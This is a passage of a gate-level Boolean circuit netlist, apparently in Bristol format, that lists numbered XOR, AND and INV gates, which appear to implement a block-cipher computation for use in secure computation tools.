1 32230 32266 32226 XOR +2 1 33269 32226 32229 XOR +2 1 32324 32275 32227 XOR +2 1 33267 32226 32225 XOR +2 1 32321 32322 32320 AND +2 1 32320 32328 32319 XOR +2 1 32326 32320 32318 XOR +2 1 32320 32279 32234 XOR +2 1 32320 32337 32233 XOR +2 1 32233 32334 32228 XOR +2 1 32228 32229 32311 XOR +2 1 32328 32318 32317 AND +2 1 32317 32325 32315 XOR +2 1 32317 32335 32288 XOR +2 1 32288 32282 32309 XOR +2 1 33263 32288 32271 XOR +2 1 32271 32234 32316 XOR +2 1 32323 32315 32314 AND +2 1 32314 32284 32274 XOR +2 1 32274 32276 32313 XOR +2 1 32314 32338 32232 XOR +2 1 32271 32232 32224 XOR +2 1 32261 32224 32231 XOR +2 1 32228 32231 32312 XOR +2 1 32274 32227 32310 XOR +2 1 32224 32225 32308 XOR +2 1 32309 32346 32307 AND +2 1 32316 32345 32306 AND +2 1 32319 33262 32305 AND +2 1 32305 32307 32287 XOR +2 1 32310 32340 32304 AND +2 1 32313 32352 32303 AND +2 1 32323 32342 32302 AND +2 1 32302 32303 32241 XOR +2 1 32311 32343 32301 AND +2 1 32308 32341 32300 AND +2 1 32300 32303 32256 XOR +1 1 32256 32253 INV +2 1 32300 32301 32252 XOR +2 1 32312 32344 32299 AND +2 1 32309 32350 32298 AND +2 1 32316 32347 32297 AND +2 1 32319 32351 32296 AND +2 1 32310 32355 32295 AND +2 1 32295 32299 32272 XOR +2 1 32304 32295 32257 XOR +1 1 32272 32250 INV +2 1 32313 32348 32294 AND +2 1 32302 32294 32259 XOR +2 1 32323 32349 32293 AND +2 1 32250 32293 32249 XOR +2 1 32249 32287 32245 XOR +2 1 32311 32354 32292 AND +2 1 32292 32245 32248 XOR +2 1 32308 32356 32291 AND +2 1 32291 32292 32286 XOR +2 1 32297 32286 32268 XOR +2 1 32298 32268 32269 XOR +2 1 32306 32269 32273 XOR +2 1 32307 32273 32278 XOR +2 1 32259 32286 32255 XOR +2 1 32287 32255 32258 XOR +2 1 32257 32258 32360 XOR +2 1 32250 32255 32254 XOR +2 1 32253 32254 32359 XOR +2 1 32278 32252 32358 XOR +2 1 32268 32245 32244 XOR +2 1 32305 32273 32242 XOR +2 1 32241 32242 34833 XOR +2 1 34828 34833 4992 XOR +1 1 4992 5226 INV +1 1 34833 5264 INV +2 1 34839 5264 5254 XOR +2 1 32312 32353 32290 AND +2 1 32301 32290 32251 XOR +1 1 32251 32247 INV +2 1 32247 32248 32357 XOR +1 1 32359 34831 INV +1 1 32358 34836 INV +1 1 32357 34835 INV +2 1 3499 3500 32641 XOR +2 1 3496 32641 3476 XOR +2 1 3497 3476 3436 XOR +2 1 3465 3436 34822 XOR +2 1 3492 3476 3442 XOR +1 1 3442 3439 INV +2 1 3439 3440 34819 XOR +2 1 32641 3474 34821 XOR +1 1 34821 5173 INV +2 1 3638 3639 32642 XOR +2 1 32642 3613 34807 XOR +2 1 34807 4249 5170 XOR +2 1 3635 32642 3615 XOR +2 1 3631 3615 3581 XOR +1 1 3581 3578 INV +2 1 3578 3579 34805 XOR +2 1 3636 3615 3575 XOR +2 1 3604 3575 34809 XOR +2 1 3777 3778 32643 XOR +2 1 32643 3752 34792 XOR +2 1 3774 32643 3754 XOR +2 1 3770 3754 3720 XOR +1 1 3720 3717 INV +2 1 3717 3718 34790 XOR +2 1 3775 3754 3714 XOR +2 1 3743 3714 34793 XOR +2 1 34793 34809 5031 XOR +2 1 34790 34805 4996 XOR +1 1 4996 5134 INV +1 1 5031 5135 INV +2 1 4984 5134 5137 XOR +2 1 5135 34795 5136 XOR +2 1 5137 5136 34665 XOR +2 1 34665 508 33385 XOR +2 1 5031 34791 5290 XOR +2 1 4056 4057 32644 XOR +2 1 4053 32644 4033 XOR +2 1 4054 4033 3993 XOR +2 1 4022 3993 34813 XOR +2 1 4049 4033 3999 XOR +1 1 3999 3996 INV +2 1 3996 3997 34810 XOR +2 1 5283 34810 5284 XOR +2 1 32644 4031 34812 XOR +2 1 4195 4196 32645 XOR +2 1 4192 32645 4172 XOR +2 1 4193 4172 4132 XOR +2 1 4161 4132 34799 XOR +2 1 3693 34799 5207 XOR +2 1 34793 34799 5038 XOR +1 1 5038 4949 INV +2 1 4188 4172 4138 XOR +2 1 4949 34792 5093 XOR +2 1 4949 34809 5114 XOR +2 1 5038 34791 5249 XOR +1 1 4138 4135 INV +2 1 4135 4136 34794 XOR +2 1 34790 34794 5248 XOR +2 1 5249 5248 4969 XOR +2 1 4969 4984 34673 XOR +2 1 34673 500 33393 XOR +2 1 32645 4170 34796 XOR +2 1 34792 34796 4983 XOR +2 1 4983 4984 5119 XOR +1 1 5119 5121 INV +2 1 34806 34796 5289 XOR +2 1 5290 5289 4952 XOR +2 1 4334 4335 32646 XOR +2 1 4331 32646 4311 XOR +2 1 4327 4311 4277 XOR +2 1 4332 4311 4271 XOR +2 1 4300 4271 34845 XOR +1 1 4277 4274 INV +2 1 4274 4275 34842 XOR +2 1 32646 4309 34844 XOR +2 1 4473 4474 32647 XOR +2 1 4470 32647 4450 XOR +2 1 4471 4450 4410 XOR +2 1 4439 4410 34830 XOR +2 1 4466 4450 4416 XOR +1 1 4416 4413 INV +2 1 4413 4414 34827 XOR +2 1 5264 34827 5265 XOR +2 1 34830 34845 5035 XOR +2 1 5035 34843 5263 XOR +1 1 5035 5267 INV +2 1 5267 34842 5266 XOR +2 1 5266 5265 4962 XOR +2 1 4962 5003 34729 XOR +2 1 34729 444 33449 XOR +2 1 32647 4448 34829 XOR +2 1 32357 34829 5185 XOR +2 1 4612 4613 32648 XOR +2 1 32648 4587 34817 XOR +2 1 34817 34811 5281 XOR +2 1 5173 34817 5158 XOR +2 1 34812 34817 5013 XOR +1 1 5013 5172 INV +2 1 5172 5016 5175 XOR +2 1 4609 32648 4589 XOR +2 1 4605 4589 4555 XOR +1 1 4555 4552 INV +2 1 4552 4553 34815 XOR +2 1 4610 4589 4549 XOR +2 1 4578 4549 34818 XOR +2 1 34813 34818 5041 XOR +2 1 34818 34822 5034 XOR +2 1 34810 34815 5006 XOR +1 1 5041 5146 INV +1 1 5006 5154 INV +2 1 5154 5016 5144 XOR +2 1 5146 34811 5143 XOR +2 1 5144 5143 34705 XOR +2 1 34705 468 33425 XOR +2 1 5146 34812 5147 XOR +1 1 5034 5270 INV +2 1 5034 34824 5274 XOR +2 1 34819 34815 5273 XOR +2 1 5274 5273 4959 XOR +2 1 4959 5009 34713 XOR +2 1 34713 460 33433 XOR +2 1 4751 4752 32649 XOR +2 1 32649 4726 34803 XOR +2 1 34803 34796 5109 XOR +2 1 34803 34807 4987 XOR +2 1 5092 4987 5094 XOR +2 1 5094 5093 34674 XOR +2 1 34674 499 33394 XOR +2 1 4952 4987 34666 XOR +2 1 4748 32649 4728 XOR +2 1 4744 4728 4694 XOR +1 1 4694 4691 INV +2 1 4691 4692 34801 XOR +2 1 4749 4728 4688 XOR +2 1 4717 4688 34804 XOR +2 1 34804 34809 5039 XOR +2 1 34799 34804 5037 XOR +2 1 34794 34801 4999 XOR +1 1 34801 5243 INV +1 1 5037 5103 INV +1 1 4999 5116 INV +2 1 4974 5116 5105 XOR +2 1 5103 34806 5104 XOR +2 1 5105 5104 34681 XOR +2 1 34681 492 33401 XOR +2 1 5116 34790 5118 XOR +2 1 34802 5243 5244 XOR +2 1 5037 34807 5253 XOR +2 1 5253 5252 4967 XOR +2 1 4967 4983 34682 XOR +2 1 4890 4891 32650 XOR +2 1 4887 32650 4867 XOR +2 1 4883 4867 4833 XOR +1 1 4833 4830 INV +2 1 4830 4831 34859 XOR +2 1 34860 34859 5277 XOR +2 1 4888 4867 4827 XOR +2 1 4856 4827 34862 XOR +2 1 32650 4865 34861 XOR +2 1 15428 15429 32664 XOR +2 1 32664 15403 34857 XOR +2 1 34857 34856 5238 XOR +2 1 34857 34861 5028 XOR +2 1 5019 5028 5048 XOR +2 1 15425 32664 15405 XOR +2 1 15421 15405 15371 XOR +1 1 15371 15368 INV +2 1 15368 15369 34855 XOR +2 1 34855 34859 5027 XOR +2 1 5025 5027 5086 XOR +2 1 15426 15405 15365 XOR +2 1 15394 15365 34858 XOR +2 1 34858 34862 5045 XOR +2 1 34854 34858 5030 XOR +2 1 5030 34861 5073 XOR +2 1 5045 34860 5239 XOR +2 1 5239 5238 4973 XOR +2 1 5030 34855 5292 XOR +2 1 5292 5291 4951 XOR +2 1 4951 5019 34777 XOR +2 1 34777 396 33497 XOR +2 1 15567 15568 32665 XOR +2 1 15564 32665 15544 XOR +2 1 15565 15544 15504 XOR +2 1 15533 15504 34841 XOR +2 1 34841 34845 5043 XOR +2 1 15560 15544 15510 XOR +1 1 15510 15507 INV +2 1 15507 15508 34838 XOR +2 1 34838 34842 4993 XOR +1 1 4993 5181 INV +2 1 5226 4993 5228 XOR +2 1 32665 15542 34840 XOR +2 1 34840 34844 5012 XOR +2 1 5226 5012 5203 XOR +2 1 16262 16263 32670 XOR +2 1 16259 32670 16239 XOR +2 1 16260 16239 16199 XOR +2 1 16228 16199 36494 XOR +2 1 16255 16239 16205 XOR +1 1 16205 16202 INV +2 1 16202 16203 36489 XOR +2 1 36489 114 397 XOR +2 1 82 397 429 XOR +2 1 50 429 461 XOR +2 1 18 461 493 XOR +2 1 492 493 13271 XOR +2 1 36494 119 392 XOR +2 1 87 392 424 XOR +2 1 55 424 456 XOR +2 1 23 456 488 XOR +2 1 490 488 13295 XOR +2 1 13295 13301 13384 XOR +2 1 488 493 13388 XOR +2 1 493 13294 13296 XOR +2 1 489 13296 13378 XOR +2 1 490 13296 13375 XOR +2 1 13301 13296 13377 XOR +2 1 13384 13377 13369 AND +2 1 494 493 13312 XOR +2 1 13312 13384 13382 XOR +2 1 488 494 13390 XOR +2 1 13390 13375 13371 AND +2 1 13371 13295 13299 XOR +2 1 32670 16237 36491 XOR +2 1 36491 116 395 XOR +2 1 84 395 427 XOR +2 1 52 427 459 XOR +2 1 20 459 491 XOR +2 1 34682 491 33402 XOR +2 1 491 489 13297 XOR +2 1 491 488 13389 XOR +2 1 13389 13312 13385 XOR +2 1 13294 13389 13381 XOR +2 1 495 13381 13380 XOR +2 1 493 491 13391 XOR +2 1 13295 13391 13376 XOR +2 1 13297 13295 13257 XOR +2 1 13294 13257 13379 XOR +2 1 13297 490 13256 XOR +2 1 495 13256 13386 XOR +2 1 13381 13385 13374 AND +2 1 13374 13297 13300 XOR +2 1 13382 13380 13373 AND +2 1 13386 495 13372 AND +2 1 13389 13378 13368 AND +2 1 13368 13296 13298 XOR +2 1 13300 13298 13304 XOR +2 1 488 13304 13310 XOR +2 1 13391 13376 13367 AND +2 1 13367 13373 13319 XOR +2 1 13319 13310 13365 XOR +2 1 13367 13368 13270 XOR +2 1 13270 13271 13318 XOR +2 1 13318 13299 13317 XOR +2 1 13370 13317 13364 XOR +2 1 13388 13379 13366 AND +2 1 13366 13369 13320 XOR +2 1 13366 13372 13324 XOR +2 1 13324 13295 13311 XOR +2 1 13319 13311 13362 XOR +2 1 13367 13320 13314 XOR +2 1 13299 13320 13273 XOR +2 1 13273 13298 13363 XOR +2 1 13304 13324 13272 XOR +2 1 490 13272 13316 XOR +2 1 13370 13314 13269 XOR +2 1 494 13269 13357 XOR +2 1 13365 13364 13361 AND +2 1 13361 13316 13356 XOR +2 1 13361 13363 13360 XOR +2 1 13362 13360 13359 AND +2 1 13359 13316 13358 XOR +2 1 13359 13371 13264 XOR +2 1 13264 13300 13260 XOR +2 1 488 13260 13263 XOR +2 1 13359 13310 13261 XOR +2 1 490 13260 13259 XOR +2 1 13356 13357 13355 AND +2 1 13355 13363 13354 XOR +2 1 13361 13355 13353 XOR +2 1 13355 13314 13268 XOR +2 1 13355 13372 13267 XOR +2 1 13267 13369 13262 XOR +2 1 13262 13263 13346 XOR +2 1 13363 13353 13352 AND +2 1 13352 13360 13350 XOR +2 1 13352 13370 13323 XOR +2 1 13323 13317 13344 XOR +2 1 494 13323 13305 XOR +2 1 13305 13268 13351 XOR +2 1 13358 13350 13349 AND +2 1 13349 13319 13309 XOR +2 1 13309 13311 13348 XOR +2 1 13349 13373 13266 XOR +2 1 13305 13266 13258 XOR +2 1 13295 13258 13265 XOR +2 1 13262 13265 13347 XOR +2 1 13309 13261 13345 XOR +2 1 13258 13259 13343 XOR +2 1 13344 13381 13342 AND +2 1 13351 13380 13341 AND +2 1 13354 495 13340 AND +2 1 13340 13342 13322 XOR +2 1 13345 13375 13339 AND +2 1 13348 13387 13338 AND +2 1 13338 13339 13307 XOR +2 1 13358 13377 13337 AND +2 1 13337 13338 13275 XOR +2 1 13346 13378 13336 AND +2 1 13343 13376 13335 AND +2 1 13335 13307 13315 XOR +2 1 13335 13338 13290 XOR +1 1 13290 13287 INV +2 1 13335 13336 13286 XOR +2 1 13336 13315 13274 XOR +2 1 13347 13379 13334 AND +2 1 13344 13385 13333 AND +2 1 13351 13382 13332 AND +2 1 13354 13386 13331 AND +2 1 13331 13315 13280 XOR +1 1 13280 13277 INV +2 1 13345 13390 13330 AND +2 1 13330 13334 13306 XOR +2 1 13339 13330 13291 XOR +1 1 13306 13284 INV +2 1 13348 13383 13329 AND +2 1 13337 13329 13293 XOR +2 1 13358 13384 13328 AND +2 1 13284 13328 13283 XOR +2 1 13283 13322 13279 XOR +2 1 13346 13389 13327 AND +2 1 13327 13279 13282 XOR +2 1 13343 13391 13326 AND +2 1 13326 13327 13321 XOR +2 1 13332 13321 13302 XOR +2 1 13333 13302 13303 XOR +2 1 13341 13303 13308 XOR +2 1 13342 13308 13313 XOR +2 1 13307 13313 36531 XOR +2 1 36531 387 259 XOR +2 1 419 259 291 XOR +2 1 451 291 323 XOR +2 1 483 323 355 XOR +2 1 13293 13321 13289 XOR +2 1 13322 13289 13292 XOR +2 1 13291 13292 13395 XOR +2 1 13284 13289 13288 XOR +2 1 13287 13288 13394 XOR +2 1 13313 13286 13393 XOR +2 1 13302 13279 13278 XOR +2 1 13277 13278 36529 XOR +2 1 36529 389 261 XOR +2 1 421 261 293 XOR +2 1 453 293 325 XOR +2 1 485 325 357 XOR +2 1 357 355 11851 XOR +2 1 13340 13308 13276 XOR +2 1 13275 13276 36530 XOR +2 1 36530 388 260 XOR +2 1 420 260 292 XOR +2 1 452 292 324 XOR +2 1 484 324 356 XOR +2 1 356 357 11731 XOR +2 1 13303 13274 36534 XOR +2 1 36534 384 256 XOR +2 1 416 256 288 XOR +2 1 448 288 320 XOR +2 1 480 320 352 XOR +2 1 355 352 11849 XOR +2 1 352 357 11848 XOR +2 1 13347 13388 13325 AND +2 1 13336 13325 13285 XOR +1 1 13285 13281 INV +2 1 13281 13282 13392 XOR +1 1 13395 36527 INV +2 1 36527 391 263 XOR +2 1 423 263 295 XOR +2 1 455 295 327 XOR +2 1 487 327 359 XOR +1 1 13394 36528 INV +2 1 36528 390 1540 XOR +1 1 1540 262 INV +2 1 422 1540 1541 XOR +1 1 1541 294 INV +2 1 454 1541 1542 XOR +1 1 1542 326 INV +2 1 486 1542 1543 XOR +1 1 1543 358 INV +2 1 358 356 11754 XOR +2 1 357 11754 11756 XOR +2 1 11754 11849 11841 XOR +2 1 359 11841 11840 XOR +2 1 358 357 11772 XOR +2 1 11849 11772 11845 XOR +2 1 352 358 11850 XOR +2 1 11841 11845 11834 AND +1 1 13393 36533 INV +2 1 36533 385 257 XOR +2 1 417 257 289 XOR +2 1 449 289 321 XOR +2 1 481 321 353 XOR +2 1 353 11756 11838 XOR +2 1 355 353 11757 XOR +2 1 11834 11757 11760 XOR +2 1 359 353 11761 XOR +2 1 11761 11756 11837 XOR +2 1 11849 11838 11828 AND +2 1 11828 11756 11758 XOR +2 1 11760 11758 11764 XOR +2 1 352 11764 11770 XOR +1 1 13392 36532 INV +2 1 36532 386 258 XOR +2 1 418 258 290 XOR +2 1 450 290 322 XOR +2 1 482 322 354 XOR +2 1 354 11756 11835 XOR +2 1 354 352 11755 XOR +2 1 11755 11851 11836 XOR +2 1 11755 11761 11844 XOR +2 1 11772 11844 11842 XOR +2 1 354 11761 11847 XOR +2 1 358 11847 11843 XOR +2 1 11757 11755 11717 XOR +2 1 11754 11717 11839 XOR +2 1 11757 354 11716 XOR +2 1 359 11716 11846 XOR +2 1 11842 11840 11833 AND +2 1 11846 359 11832 AND +2 1 11850 11835 11831 AND +2 1 11831 11755 11759 XOR +2 1 11847 11843 11830 AND +2 1 11844 11837 11829 AND +2 1 11851 11836 11827 AND +2 1 11827 11833 11779 XOR +2 1 11779 11770 11825 XOR +2 1 11827 11828 11730 XOR +2 1 11730 11731 11778 XOR +2 1 11778 11759 11777 XOR +2 1 11830 11777 11824 XOR +2 1 11848 11839 11826 AND +2 1 11826 11829 11780 XOR +2 1 11826 11832 11784 XOR +2 1 11784 11755 11771 XOR +2 1 11779 11771 11822 XOR +2 1 11827 11780 11774 XOR +2 1 11759 11780 11733 XOR +2 1 11733 11758 11823 XOR +2 1 11764 11784 11732 XOR +2 1 354 11732 11776 XOR +2 1 11830 11774 11729 XOR +2 1 358 11729 11817 XOR +2 1 11825 11824 11821 AND +2 1 11821 11776 11816 XOR +2 1 11821 11823 11820 XOR +2 1 11822 11820 11819 AND +2 1 11819 11776 11818 XOR +2 1 11819 11831 11724 XOR +2 1 11724 11760 11720 XOR +2 1 352 11720 11723 XOR +2 1 11819 11770 11721 XOR +2 1 354 11720 11719 XOR +2 1 11816 11817 11815 AND +2 1 11815 11823 11814 XOR +2 1 11821 11815 11813 XOR +2 1 11815 11774 11728 XOR +2 1 11815 11832 11727 XOR +2 1 11727 11829 11722 XOR +2 1 11722 11723 11806 XOR +2 1 11823 11813 11812 AND +2 1 11812 11820 11810 XOR +2 1 11812 11830 11783 XOR +2 1 11783 11777 11804 XOR +2 1 358 11783 11765 XOR +2 1 11765 11728 11811 XOR +2 1 11818 11810 11809 AND +2 1 11809 11779 11769 XOR +2 1 11769 11771 11808 XOR +2 1 11809 11833 11726 XOR +2 1 11765 11726 11718 XOR +2 1 11755 11718 11725 XOR +2 1 11722 11725 11807 XOR +2 1 11769 11721 11805 XOR +2 1 11718 11719 11803 XOR +2 1 11804 11841 11802 AND +2 1 11811 11840 11801 AND +2 1 11814 359 11800 AND +2 1 11800 11802 11782 XOR +2 1 11805 11835 11799 AND +2 1 11808 11847 11798 AND +2 1 11798 11799 11767 XOR +2 1 11818 11837 11797 AND +2 1 11797 11798 11735 XOR +2 1 11806 11838 11796 AND +2 1 11803 11836 11795 AND +2 1 11795 11767 11775 XOR +2 1 11795 11798 11750 XOR +1 1 11750 11747 INV +2 1 11795 11796 11746 XOR +2 1 11796 11775 11734 XOR +2 1 11807 11839 11794 AND +2 1 11804 11845 11793 AND +2 1 11811 11842 11792 AND +2 1 11814 11846 11791 AND +2 1 11791 11775 11740 XOR +1 1 11740 11737 INV +2 1 11805 11850 11790 AND +2 1 11790 11794 11766 XOR +2 1 11799 11790 11751 XOR +1 1 11766 11744 INV +2 1 11808 11843 11789 AND +2 1 11797 11789 11753 XOR +2 1 11818 11844 11788 AND +2 1 11744 11788 11743 XOR +2 1 11743 11782 11739 XOR +2 1 11806 11849 11787 AND +2 1 11787 11739 11742 XOR +2 1 11803 11851 11786 AND +2 1 11786 11787 11781 XOR +2 1 11792 11781 11762 XOR +2 1 11793 11762 11763 XOR +2 1 11801 11763 11768 XOR +2 1 11802 11768 11773 XOR +2 1 11767 11773 36539 XOR +2 1 11753 11781 11749 XOR +2 1 11782 11749 11752 XOR +2 1 11751 11752 11855 XOR +2 1 11744 11749 11748 XOR +2 1 11747 11748 11854 XOR +2 1 11773 11746 11853 XOR +2 1 11762 11739 11738 XOR +2 1 11737 11738 36537 XOR +2 1 11800 11768 11736 XOR +2 1 11735 11736 36538 XOR +2 1 36538 284 924 XOR +2 1 316 924 956 XOR +2 1 11763 11734 36542 XOR +2 1 11807 11848 11785 AND +2 1 11796 11785 11745 XOR +1 1 11745 11741 INV +2 1 11741 11742 11852 XOR +1 1 11855 36535 INV +2 1 36535 287 927 XOR +2 1 319 927 959 XOR +2 1 351 959 991 XOR +2 1 383 991 1023 XOR +1 1 11854 36536 INV +2 1 36536 286 926 XOR +2 1 318 926 958 XOR +1 1 11853 36541 INV +2 1 36541 281 921 XOR +2 1 313 921 953 XOR +2 1 345 953 985 XOR +2 1 377 985 1017 XOR +1 1 11852 36540 INV +2 1 36540 282 922 XOR +2 1 314 922 954 XOR +2 1 346 954 986 XOR +2 1 378 986 1018 XOR +2 1 348 956 988 XOR +2 1 380 988 1020 XOR +2 1 350 958 990 XOR +2 1 382 990 1022 XOR +2 1 1022 1020 18999 XOR +2 1 1023 1017 19006 XOR +2 1 1018 19006 19091 XOR +2 1 1022 19091 19087 XOR +2 1 19091 19087 19074 AND +2 1 21127 21128 32705 XOR +2 1 32705 21102 34825 XOR +2 1 5270 34825 5272 XOR +2 1 5272 5271 4960 XOR +2 1 4960 5013 34714 XOR +2 1 34821 34825 5021 XOR +2 1 5145 5021 5148 XOR +2 1 5148 5147 34706 XOR +2 1 34706 467 33426 XOR +2 1 34714 459 33434 XOR +2 1 21124 32705 21104 XOR +2 1 21120 21104 21070 XOR +1 1 21070 21067 INV +2 1 21067 21068 34823 XOR +2 1 34819 34823 5011 XOR +2 1 5154 34823 5156 XOR +2 1 5009 5011 5168 XOR +2 1 21125 21104 21064 XOR +2 1 21093 21064 34826 XOR +2 1 34822 34826 5042 XOR +2 1 34813 34826 5032 XOR +2 1 5042 34820 5167 XOR +2 1 5168 5167 34721 XOR +2 1 34721 452 33441 XOR +2 1 5042 5173 5174 XOR +2 1 5175 5174 34722 XOR +2 1 34722 451 33442 XOR +2 1 5032 34824 5282 XOR +2 1 5282 5281 4955 XOR +2 1 4955 5021 34698 XOR +1 1 5032 5286 INV +2 1 5286 34823 5285 XOR +2 1 5285 5284 4954 XOR +2 1 4954 5016 34697 XOR +2 1 34697 476 33417 XOR +2 1 22795 22796 32717 XOR +2 1 22792 32717 22772 XOR +2 1 22793 22772 22732 XOR +2 1 22761 22732 36526 XOR +2 1 36526 392 264 XOR +2 1 424 264 296 XOR +2 1 456 296 328 XOR +2 1 22788 22772 22738 XOR +1 1 22738 22735 INV +2 1 22735 22736 36521 XOR +2 1 36521 397 269 XOR +2 1 429 269 301 XOR +2 1 461 301 333 XOR +2 1 493 333 365 XOR +2 1 365 19138 19140 XOR +2 1 362 19140 19218 XOR +2 1 364 365 19115 XOR +2 1 366 365 19155 XOR +2 1 361 19140 19221 XOR +2 1 19145 19140 19220 XOR +2 1 488 328 360 XOR +2 1 362 360 19139 XOR +2 1 19139 19145 19227 XOR +2 1 360 366 19233 XOR +2 1 19233 19218 19214 AND +2 1 360 365 19231 XOR +2 1 19214 19139 19143 XOR +2 1 19227 19220 19212 AND +2 1 19155 19227 19225 XOR +2 1 32717 22770 36523 XOR +2 1 36523 395 267 XOR +2 1 427 267 299 XOR +2 1 459 299 331 XOR +2 1 491 331 363 XOR +2 1 363 361 19141 XOR +2 1 363 360 19232 XOR +2 1 19232 19155 19228 XOR +2 1 19138 19232 19224 XOR +2 1 367 19224 19223 XOR +2 1 365 363 19234 XOR +2 1 19139 19234 19219 XOR +2 1 19141 19139 19101 XOR +2 1 19138 19101 19222 XOR +2 1 19141 362 19100 XOR +2 1 367 19100 19229 XOR +2 1 19224 19228 19217 AND +2 1 19217 19141 19144 XOR +2 1 19225 19223 19216 AND +2 1 19229 367 19215 AND +2 1 19232 19221 19211 AND +2 1 19211 19140 19142 XOR +2 1 19144 19142 19148 XOR +2 1 360 19148 19153 XOR +2 1 19234 19219 19210 AND +2 1 19210 19216 19162 XOR +2 1 19162 19153 19208 XOR +2 1 19210 19211 19114 XOR +2 1 19114 19115 19161 XOR +2 1 19161 19143 19160 XOR +2 1 19213 19160 19207 XOR +2 1 19231 19222 19209 AND +2 1 19209 19212 19163 XOR +2 1 19209 19215 19167 XOR +2 1 19167 19139 19154 XOR +2 1 19162 19154 19205 XOR +2 1 19210 19163 19157 XOR +2 1 19143 19163 19117 XOR +2 1 19117 19142 19206 XOR +2 1 19148 19167 19116 XOR +2 1 362 19116 19159 XOR +2 1 19213 19157 19113 XOR +2 1 366 19113 19200 XOR +2 1 19208 19207 19204 AND +2 1 19204 19159 19199 XOR +2 1 19204 19206 19203 XOR +2 1 19205 19203 19202 AND +2 1 19202 19159 19201 XOR +2 1 19202 19214 19108 XOR +2 1 19108 19144 19104 XOR +2 1 360 19104 19107 XOR +2 1 19202 19153 19105 XOR +2 1 362 19104 19103 XOR +2 1 19199 19200 19198 AND +2 1 19198 19206 19197 XOR +2 1 19204 19198 19196 XOR +2 1 19198 19157 19112 XOR +2 1 19198 19215 19111 XOR +2 1 19111 19212 19106 XOR +2 1 19106 19107 19189 XOR +2 1 19206 19196 19195 AND +2 1 19195 19203 19193 XOR +2 1 19195 19213 19166 XOR +2 1 19166 19160 19187 XOR +2 1 366 19166 19149 XOR +2 1 19149 19112 19194 XOR +2 1 19201 19193 19192 AND +2 1 19192 19162 19152 XOR +2 1 19152 19154 19191 XOR +2 1 19192 19216 19110 XOR +2 1 19149 19110 19102 XOR +2 1 19139 19102 19109 XOR +2 1 19106 19109 19190 XOR +2 1 19152 19105 19188 XOR +2 1 19102 19103 19186 XOR +2 1 19187 19224 19185 AND +2 1 19194 19223 19184 AND +2 1 19197 367 19183 AND +2 1 19183 19185 19165 XOR +2 1 19188 19218 19182 AND +2 1 19191 19230 19181 AND +2 1 19201 19220 19180 AND +2 1 19180 19181 19119 XOR +2 1 19189 19221 19179 AND +2 1 19186 19219 19178 AND +2 1 19178 19181 19134 XOR +1 1 19134 19131 INV +2 1 19178 19179 19130 XOR +2 1 19190 19222 19177 AND +2 1 19187 19228 19176 AND +2 1 19194 19225 19175 AND +2 1 19197 19229 19174 AND +2 1 19188 19233 19173 AND +2 1 19173 19177 19150 XOR +2 1 19182 19173 19135 XOR +1 1 19150 19128 INV +2 1 19191 19226 19172 AND +2 1 19180 19172 19137 XOR +2 1 19201 19227 19171 AND +2 1 19128 19171 19127 XOR +2 1 19127 19165 19123 XOR +2 1 19189 19232 19170 AND +2 1 19170 19123 19126 XOR +2 1 19186 19234 19169 AND +2 1 19169 19170 19164 XOR +2 1 19175 19164 19146 XOR +2 1 19176 19146 19147 XOR +2 1 19184 19147 19151 XOR +2 1 19185 19151 19156 XOR +2 1 19137 19164 19133 XOR +2 1 19165 19133 19136 XOR +2 1 19135 19136 19238 XOR +2 1 19128 19133 19132 XOR +2 1 19131 19132 19237 XOR +2 1 19156 19130 19236 XOR +2 1 19146 19123 19122 XOR +2 1 19183 19151 19120 XOR +2 1 19119 19120 36562 XOR +2 1 36562 260 900 XOR +2 1 292 900 932 XOR +2 1 324 932 964 XOR +2 1 356 964 996 XOR +2 1 19190 19231 19168 AND +2 1 19179 19168 19129 XOR +1 1 19129 19125 INV +2 1 19125 19126 19235 XOR +1 1 19238 36559 INV +2 1 36559 263 903 XOR +2 1 295 903 935 XOR +2 1 327 935 967 XOR +2 1 359 967 999 XOR +1 1 19237 36560 INV +2 1 36560 262 902 XOR +2 1 294 902 934 XOR +2 1 326 934 966 XOR +2 1 358 966 998 XOR +2 1 998 996 11894 XOR +1 1 19236 36565 INV +2 1 36565 257 897 XOR +2 1 289 897 929 XOR +2 1 321 929 961 XOR +2 1 353 961 993 XOR +2 1 999 993 11901 XOR +1 1 19235 36564 INV +2 1 36564 258 898 XOR +2 1 290 898 930 XOR +2 1 322 930 962 XOR +2 1 354 962 994 XOR +2 1 994 11901 11987 XOR +2 1 998 11987 11983 XOR +2 1 11987 11983 11970 AND +2 1 19181 19182 32691 XOR +2 1 19178 32691 19158 XOR +2 1 19179 19158 19118 XOR +2 1 19147 19118 36566 XOR +2 1 36566 256 896 XOR +2 1 288 896 928 XOR +2 1 320 928 960 XOR +2 1 352 960 992 XOR +2 1 992 998 11990 XOR +2 1 19174 19158 19124 XOR +1 1 19124 19121 INV +2 1 19121 19122 36561 XOR +2 1 36561 261 1544 XOR +2 1 293 1544 1545 XOR +1 1 1545 933 INV +1 1 1544 901 INV +2 1 325 1545 1546 XOR +1 1 1546 965 INV +2 1 357 1546 1547 XOR +1 1 1547 997 INV +2 1 996 997 11871 XOR +2 1 992 997 11988 XOR +2 1 997 11894 11896 XOR +2 1 998 997 11912 XOR +2 1 993 11896 11978 XOR +2 1 11901 11896 11977 XOR +2 1 994 11896 11975 XOR +2 1 994 992 11895 XOR +2 1 11895 11901 11984 XOR +2 1 11912 11984 11982 XOR +2 1 11990 11975 11971 AND +2 1 11971 11895 11899 XOR +2 1 11984 11977 11969 AND +2 1 32691 19156 36563 XOR +2 1 36563 259 899 XOR +2 1 291 899 931 XOR +2 1 323 931 963 XOR +2 1 355 963 995 XOR +2 1 995 993 11897 XOR +2 1 995 992 11989 XOR +2 1 11989 11912 11985 XOR +2 1 11894 11989 11981 XOR +2 1 999 11981 11980 XOR +2 1 997 995 11991 XOR +2 1 11895 11991 11976 XOR +2 1 11897 11895 11857 XOR +2 1 11894 11857 11979 XOR +2 1 11897 994 11856 XOR +2 1 999 11856 11986 XOR +2 1 11981 11985 11974 AND +2 1 11974 11897 11900 XOR +2 1 11982 11980 11973 AND +2 1 11986 999 11972 AND +2 1 11989 11978 11968 AND +2 1 11968 11896 11898 XOR +2 1 11900 11898 11904 XOR +2 1 992 11904 11910 XOR +2 1 11991 11976 11967 AND +2 1 11967 11973 11919 XOR +2 1 11919 11910 11965 XOR +2 1 11967 11968 11870 XOR +2 1 11870 11871 11918 XOR +2 1 11918 11899 11917 XOR +2 1 11970 11917 11964 XOR +2 1 11988 11979 11966 AND +2 1 11966 11969 11920 XOR +2 1 11966 11972 11924 XOR +2 1 11924 11895 11911 XOR +2 1 